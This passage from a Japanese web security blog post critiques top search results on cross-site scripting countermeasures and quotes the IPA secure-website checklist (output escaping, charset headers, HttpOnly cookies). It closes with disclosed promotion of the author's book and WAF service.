「属性値をダブルクォートで囲む」ことと「HTTPレスポンスヘッダに文字エンコーディングを指定する」が抜けています。とくに前者は致命的です。
また、上記2の「URLエンコード」という見出しは間違いのように見えますが、本文で説明されている内容はURLエンコード(%xxという形式)ではなく、Unicodeエスケープ(\uXXXXという形式)です。すなわち本文の方は正しいのですが、見出しでの用語の間違いはまずいです。

ということで、不正確な内容です。

10位 クロスサイトスクリプティングとは【XSS】 - 意味/解説/説明/定義 : IT用語辞典

用語辞典の解説です。
対策としては、訪問者からの入力内容をそのまま表示せずに、スクリプトなどのコードを識別して無効化する処理を施すことが必要である。
これはダメですね。「入力内容」、「スクリプトなどのコードを識別」は余計であり、誤解を招きます。

11位 クロスサイト スクリプティング フィルター

IEのXSSフィルタの説明であり、アプリケーション側の対策の話ではありません。

12位 クロスサイトスクリプティングとは

対策としては以下の3つが挙げられています。
  • 入力データのチェック
  • クッキーに重要な情報を保存しない
  • デフォルトでエスケープするテンプレートを使う
肝心のHTMLエスケープの説明がないので、XSS対策の説明としては不十分です。

13位 間違ったクロスサイトスクリプティング(XSS)対策 - YouTube

LACの川口洋さんによるビデオ解説です。1分程の短いプレゼンです。特別目新しい内容ではありませんが、面白く見ることができます。
あくまで、間違った例に対する説明であり、対する正しい方法が説明されているわけではありません。

14位 そのやり方でクロスサイトスクリプティング対策は完全ですか?

WAFの宣伝です。以下のように、まずXSS対策のプログラミングの難しさが説明されます。
クロスサイトスクリプティングは【略】一般的には「プログラマが、入力フォームを作る時にJavaScriptなどのコードを別な文字に置換するなどの対応を行うべき」と考えられています。
しかしながら、掲示板のような簡単なプログラムならいざ知らず、昨今のWebシステムは数百、数千のプログラムから構成されることが普通ですから、こうしたシステムで 全てをプログラマの努力に頼ることは難しいだろうという認識も生まれています。
これはまぁいい。「難しい」のは事実ですから。しかし、以下はどうでしょうか。
リリース後のアプリケーションにたった1箇所の問題があっただけで、それまでの検査コストがすべて無駄になる
「すべて無駄になる」はあんまりでしょう。
そこで、視点を変えてみましょう。もし、アプリケーションに対する攻撃をネットワークで防ぐことができたらどうでしょうか?
  • アプリケーションの追加リリースの度に検査する必要がなくなりますので、将来の追加コストを抑えることができます
  • 脆弱性検査などでも発見できない、未知の攻撃も防御することができます
  • セキュリティ試験などの工数を削減でき、システム開発にかかる費用の削減が期待できます
そんな理想的な話があるのでしょうか?

実は、Citrix NetScalerを使えばWebアプリケーションに対する攻撃をネットワークレベルで防ぐことができるのです!
これは酷い。何が酷いかというと、プログラマのプログラミングレベルの対処や脆弱性検査が「すべて無駄」で、WAFを導入すればWebアプリケーションに対する攻撃を防げるとしていること、「WAFを導入しさえすれば全てOK」と明示的には書いていないものの、読者がそういう印象を持つように誘導していることです。
実際には、WAFが全ての攻撃を防げるわけではなく、あくまで保険的対策です。上記の記事では、主・客が逆になるような、間違った印象を読者に与えてしまいます。

15位 CWE-79

CWE(Common Weakness Enumeration)の翻訳記事からXSSの解説です。CWEについては、IPAの解説記事から引用します。
共通脆弱性タイプ一覧CWE(Common Weakness Enumeration)は、ソフトウェアにおけるセキュリティ上の弱点(脆弱性)の種類を識別するための共通の基準を目指しています。
1999年頃から米国政府の支援を受けた非営利団体のMITREが中心となり仕様策定が行われ、2006年3月に最初の原案が公開されました。その後、40を超えるベンダーや研究機関が協力して仕様改善や内容拡充が行われ、2008年9月9日にCWEバージョン1.0が公開されました。
CWEでは、SQLインジェクション、クロスサイト・スクリプティング、バッファオーバーフローなど、多種多様にわたるソフトウェアの脆弱性を識別するための、脆弱性の種類(脆弱性タイプ)の一覧を体系化して提供しています。 
CWEは、脆弱性のハンドリングをする専門家は知っておく必要があるでしょうが、一般のWeb開発者は知らなくていいんじゃないかと思います。
XSSの説明ですが、なんか仰々しい感じで小難しいですね。例えば、以下のような箇所。
ソフトウェアにおいて信頼できない入力を受け付ける箇所を全て把握してください。
なんか、一昔前のセキュアプログラミングの教科書風です。XSS対策をする上では、入力に着目するのではなく、表示の箇所で淡々とエスケープ処理をすればよいわけで、入力の信頼できる・出来ないを分類する必要などありません。そんなことをすると、かえって対処もれ、ひいては脆弱性の原因になります。表示箇所で全てエスケープと考えた方が漏れがありません。

とりあえずのまとめ

「クロスサイトスクリプティング対策」でGoogle検索して上位15記事を検証しました。SQLインジェクションの時以上に、検索上位には良い記事が少ない状況です。上位15位の中で、開発者が読むべきXSS対策の記事は小邨さんの解説くらいでしょう。
脆弱性対処の方法をGoogleなどの検索サイトに頼るのは、賢明とは言えないというのが私の感想です。

XSS対策はどうすればよいか

それでは、XSS対策についてはどうすればよいでしょうか。
あらためて思いましたが、IPAの「安全なウェブサイトの作りかた」が脆弱性対処の規範と言えます。全てのWebアプリケーション開発者が安全なウェブサイトの作り方を学ぶべきだ思います。同書のチェックリストから、XSSの項目を引用します。

脆弱性の種類 対策の性質 実施項目
HTMLテキストの入力を許可しない場合の対策 根本的解決 ウェブページに出力する全ての要素に対して、エスケープ処理を施す。
根本的解決 URLを出力するときは、「http://」や 「https://」で始まるURLのみを許可する。
根本的解決 <script>...</script> 要素の内容を動的に生成しない。
根本的解決 スタイルシートを任意のサイトから取り込めるようにしない。
保険的対策 入力値の内容チェックを行う。
HTMLテキストの入力を許可する場合の対策 根本的解決 入力されたHTMLテキストから構文解析木を作成し、スクリプトを含まない必要な要素のみを抽出する。
保険的対策 入力されたHTMLテキストから、スクリプトに該当する文字列を排除する。
全てのウェブアプリケーションに共通の対策 根本的解決 HTTPレスポンスヘッダのContent-Typeフィールドに文字コード(charset)の指定を行う。
保険的対策 Cookie情報の漏えい対策として、発行するCookieにHttpOnly属性を加え、TRACEメソッドを無効化する。

上記に書いてない内容としては、IEのContent-Type無視問題くらいです。これも本来ブラウザ側の問題だとは思いますが、IEのシェアを考えると無視できない問題でしょう。以下を参照して下さい。
拙著「体系的に学ぶ 安全なWebアプリケーションの作り方」を読んでいただけば、上記のことは全て具体的に解説しています(PR)。

また、AjaxアプリケーションのXSSについては、基本はHTMLのエスケープとContent-Type無視問題への対処ですが、具体的には以下の記事をお読み下さい。
このAjaxアプリケーションのXSSについては、PHPカンファレンス北海道にて解説する予定です。


[PR]
WAF始めました。詳しくはHASHコンサルティング株式会社まで。
安全なWebアプリケーションの作り方DRMフリーのPDFによる電子版もあります。